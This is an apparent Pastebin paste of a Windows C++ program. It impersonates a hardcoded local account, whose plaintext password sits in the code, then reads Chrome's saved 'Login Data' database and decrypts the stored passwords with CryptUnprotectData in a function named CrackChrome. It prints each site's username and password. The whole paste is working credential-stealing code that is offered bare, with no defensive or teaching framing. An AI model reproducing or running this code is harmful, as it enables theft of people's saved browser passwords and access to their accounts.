Advertisement
Guest User

Untitled

a guest
Oct 6th, 2018
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.43 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <conio.h>
  4. #include <Sddl.h>
  5. #include <sqlite3.h>
  6.  
  7. #pragma comment(lib, "sqlite3.lib")
  8. #pragma comment(lib, "crypt32.lib")
  9.  
  10. char *CrackChrome(BYTE *data, int bSize){
  11. DATA_BLOB in;
  12. DATA_BLOB out;
  13.  
  14. in.pbData = data;
  15. in.cbData = bSize + 1;//we can't use strlen on a byte pointer,becouse of the NBs,so we have to be tricky dicky:)
  16. char *str = new char[bSize + 1];
  17. ZeroMemory(str, bSize + 1);
  18.  
  19. if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)){
  20. for (DWORD i = 0; i < out.cbData; i++)
  21. str[i] = out.pbData[i];
  22. str[out.cbData] = '\0';
  23.  
  24. return str;
  25. }
  26. else{
  27. return NULL; //Error on decryption
  28. }
  29. }
  30.  
  31. void main(){
  32. HANDLE token;
  33. if (OpenProcessToken(GetCurrentProcess(),
  34. TOKEN_DUPLICATE |
  35. TOKEN_QUERY |
  36. TOKEN_IMPERSONATE
  37. , &token)){
  38. printf("Process token opened!\n");
  39.  
  40. if (LogonUserA("MARkus", ".", "MARCUS", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &token)){
  41. printf("Logon complete!\n");
  42. }
  43. else
  44. printf("%d\n", GetLastError());
  45. if (ImpersonateLoggedOnUser(token)){
  46. printf("Impersonation complete!\n");
  47.  
  48. //we need 2 calls To GetTokenInformation:
  49. //1.To get the buffer size,so we know how much data to allocate
  50. //2.The actual call
  51. // Call GetTokenInformation to get the buffer size.
  52.  
  53. PTOKEN_USER ptu = NULL;
  54. DWORD dwSize = 0;
  55. if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwSize)
  56. && ERROR_INSUFFICIENT_BUFFER != GetLastError())
  57. {
  58. printf("Error!\n");
  59. }
  60. if (NULL != (ptu = (PTOKEN_USER)LocalAlloc(LPTR, dwSize)))
  61. {
  62. LPTSTR StringSid = NULL;
  63. if (!GetTokenInformation(token, TokenUser, ptu, dwSize, &dwSize))
  64. {
  65. LocalFree((HLOCAL)ptu);
  66. printf("Error2!\n");
  67. }
  68.  
  69. if (ConvertSidToStringSid(ptu->User.Sid, &StringSid))
  70. {
  71. char *name = NULL;
  72. LPTSTR DomainName = NULL;
  73. DWORD length = 1, dwDomainName = 1;
  74. SID_NAME_USE nuse = SidTypeUnknown;
  75.  
  76. BOOL b = LookupAccountSid(
  77. NULL, // local computer
  78. ptu->User.Sid,
  79. name,
  80. (LPDWORD)&length,
  81. DomainName,
  82. (LPDWORD)&dwDomainName,
  83. &nuse);
  84.  
  85. // Reallocate memory for the buffers.
  86. name = (LPTSTR)GlobalAlloc(
  87. GMEM_FIXED,
  88. length);
  89. DomainName = (LPTSTR)GlobalAlloc(
  90. GMEM_FIXED,
  91. dwDomainName);
  92.  
  93. b = LookupAccountSid(
  94. NULL, // name of local or remote computer
  95. ptu->User.Sid, // security identifier
  96. name, // account name buffer
  97. (LPDWORD)&length, // size of account name buffer
  98. DomainName, // domain name
  99. (LPDWORD)&dwDomainName, // size of domain name buffer
  100. &nuse); // SID type
  101.  
  102. if (b){
  103. printf("Everything is OK!\n");
  104. printf("Username: %s\n", name);
  105. }
  106. printf("%s\n", StringSid);
  107. LocalFree((HLOCAL)StringSid);
  108. LocalFree((HLOCAL)ptu);
  109. }
  110. }
  111. }
  112. }
  113.  
  114. sqlite3 *db;
  115. sqlite3_stmt *stmt;
  116.  
  117. char *query = "SELECT origin_url, username_value, password_value FROM logins";
  118. char *tempPath = "C:\\Users\\MARkus\\AppData\\Local\\Google\\Chrome\\User data\\Default\\Login Data";
  119.  
  120. //Open the database
  121. if (sqlite3_open(tempPath, &db) == SQLITE_OK) {
  122. //delete[]tempPath;
  123. if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) {
  124. //Lets begin reading data
  125. int entries = 0;
  126. while (sqlite3_step(stmt) == SQLITE_ROW) {
  127. //While we still have data in database
  128. char *url = (char *)sqlite3_column_text(stmt, 0);
  129. char *username = (char *)sqlite3_column_text(stmt, 1);
  130. BYTE *password = (BYTE *)sqlite3_column_blob(stmt, 2); //This is the only encrypted field
  131. int bSize = sqlite3_column_bytes(stmt, 2);
  132.  
  133. printf("User: %s\n", username);
  134. char *decrypted = CrackChrome(password, bSize);
  135. if (decrypted){
  136. printf("Password: %s\n", decrypted);
  137. }
  138. else
  139. printf("Error decrypting password!\n");
  140. entries++;
  141. }
  142. if (entries == 0){
  143. ;// printf("No entries found!\n");
  144. }
  145. }
  146. else
  147. ;//printf("Error preparing database!\n");
  148. sqlite3_finalize(stmt);
  149. sqlite3_close(db);
  150. }
  151. _getch();
  152. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement